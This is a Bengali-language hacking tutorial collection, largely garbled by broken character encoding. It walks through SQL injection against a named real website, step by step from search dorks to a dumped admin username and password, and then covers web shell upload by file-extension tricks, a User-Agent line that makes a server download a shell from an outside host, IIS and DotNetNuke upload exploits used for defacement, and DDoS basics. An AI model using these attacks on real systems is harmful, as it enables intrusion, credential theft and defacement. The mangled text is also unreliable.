এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
